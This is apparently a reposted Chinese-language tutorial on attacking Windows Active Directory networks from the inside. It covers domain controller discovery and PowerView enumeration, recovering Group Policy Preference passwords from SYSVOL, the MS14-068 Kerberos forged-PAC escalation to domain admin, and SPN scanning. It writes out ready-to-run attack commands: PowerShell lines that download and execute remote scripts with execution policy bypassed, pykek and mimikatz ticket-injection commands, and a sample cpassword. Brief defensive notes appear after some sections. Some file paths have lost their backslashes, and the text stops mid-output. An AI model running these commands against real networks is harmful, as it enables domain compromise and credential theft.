内网渗透知识大总结(转)

 

信息收集

网上各种前期信息收集的文章各种net view之类的这里就不贴了。

一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用NLTEST命令查看。最后就是各种net view查看域控是哪台主机

nltest /DCLIST:pentest.com

这里利用PowerTools的中的PowerView的信息收集其实很多功能都是净命令这里只是以PowerShell的方式实现

Powershell.exe -Nop -NonI -Exec Bypass "IEX (New.ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP"

更详细参考:域渗透信息收集PowerTools的

Get-NetDomain                   -   gets the name of the current user's domain
Get-NetForest                   -   gets the forest associated with the current user's domain
Get-NetForestDomains            -   gets all domains for the current forest
Get-NetDomainControllers        -   gets the domain controllers for the current computer's domain
Get-NetCurrentUser              -   gets the current [domain\]username
Get-NetUser                     -   returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs                 -   gets all user ServicePrincipalNames
Get-NetOUs                      -   gets data for domain organization units
Get-NetGUIDOUs                  -   finds domain OUs linked to a specific GUID
Invoke-NetUserAdd               -   adds a local or domain user
Get-NetGroups                   -   gets a list of all current groups in the domain
Get-NetGroup                    -   gets data for each user in a specified domain group
Get-NetLocalGroups              -   gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup               -   gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices            -   gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd          -   adds a user to a specified local or domain group
Get-NetComputers                -   gets a list of all current servers in the domain
Get-NetFileServers              -   get a list of file servers used by current domain users
Get-NetShare                    -   gets share information for a specified server
Get-NetLoggedon                 -   gets users actively logged onto a specified server
Get-NetSessions                 -   gets active sessions on a specified server
Get-NetFileSessions             -   returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections              -   gets active connections to a specific server resource (share)
Get-NetFiles                    -   gets open files on a server
Get-NetProcesses                -   gets the remote processes and owners on a remote server

 

获取域方法

SYSVOL

SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。sysvol文件夹是安装AD时创建的,它用来存放GPO,脚本等信息。同时,存放在Sysvol文件文件夹中的信息,会复制到域中所有DC上。

使用组策略首选项配置组策略批量修改用户本地管理员密码

开始 - >管理工具 - >组策略管理 - >在这个域中创建GPO

设置 - 右键 - 编辑 - 用户配置 - 首选项 - 控制面板设置 - 本地用户和组

更新管理员密码:

域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml,scheduledtasks.xml,services.xml中,datasources.xml。

映射驱动(Drives.xml)

数据源(DataSources.xml)

打印机配置(Printers.xml)

创建/更新服务(services.xml中)

计划任务(ScheduledTasks.xml)

由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限

\192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml

经过AES-256位加密

cpassword="fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA"

可以使用AES私钥解密GPP密码

微软在MSDN上发布了AES加密密钥(共享密钥)

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx

使用PowerShell的脚本解密

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

寻找SYSVOL里的密码和攻击GPP(组策略偏好)

Windows Server 2008 R2之四管理Sysvol文件夹

SYSVOL中查找密码并利用组策略首选项

利用SYSVOL还原组策略中保存的密

防:

    • 在用于管理GPO的计算机上安装KB2962486,以防止将新凭据置于组策略首选项中。
    • 设置每个人访问权限
    • 不在组策略中使用域控密码
    • 设置共享文件夹SYSVOL的访问权限
    • 删除现有的GPP里包含密码的XML文件。

MS14-068 Kerberos

Kerberos的是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos的需要三方的共同参与,才能完成一次事务处理。

Kerberos是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(主体)。参与的中央服务器被称为密钥分发中心简称KDC).KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。

更多阅读:

的Kerberos协议的滥用

Kerberos的的工作原理

最根本的问题在于权限属性证书可以被伪造,权限属性证书中存储帐号用户名,ID,组成员等信息,掌握域用户一些基本信息就可以获取域管理员权限

攻击者可以有效地重写有效的Kerberos TGT身份验证票据,使其成为域管理员(和企业管理员)

https://github.com/bidord/pykek/archive/master.zip

https://github.com/gentilkiwi/mimikatz/releases/

apt-get install krb5-user

apt-get install rdate

MS14-068过程:

      • 请求没有PAC的Kerberos TGT认证票据作为标准用户,DC回复TGT
      • 生成一个伪造的PAC,没有密钥,所以生成的PAC使用域用户的密码数据用MD5算法而不是HMAC_MD5“签名”。
      • 作为TGS服务票据请求的一部分,使用伪造的PAC作为授权数据发送无PAC的TGT到DC。
      • DC似乎被这个混淆了,所以它放弃了用户发送的不含PAC的TGT,创建一个新的TGT,并将伪造的PAC插入到它自己的授权数据中,并将这个TGT发送给用户。
      • 这个伪造PAC的TGT使得用户可以成为易受攻击的DC上的域管理员。
whoami /user

python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机

产生缓存的票据,在当前卡利下生成之后再放到域用户机器中

利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:

mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit

klist查看

net use k: \pentest.comc$

目录k:

相关资料:

Kerberos的工具包PyKEK

深入解读MS14-068漏洞

Kerberos的安全漏洞

防:

安装检查KB3011780的安装

SPN扫描

Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包

SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内置帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。

SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。

powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers'); Discover-PSMSSQLServers"

扫描SQL Server脚本

Import-Module .Get-SQLServerAccess.psm1
PS C:Get-SqlServer-Escalate-CheckAccess 
[*] ---------------------------------------------------------------------- 
[*] Start Time: 04/01/2014 10:00:00 
[*] Domain: mydomain.com 
[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser... 
[*] 5 SQL Server instances found in LDAP. 
[*] Attempting to login into 5 SQL Server instances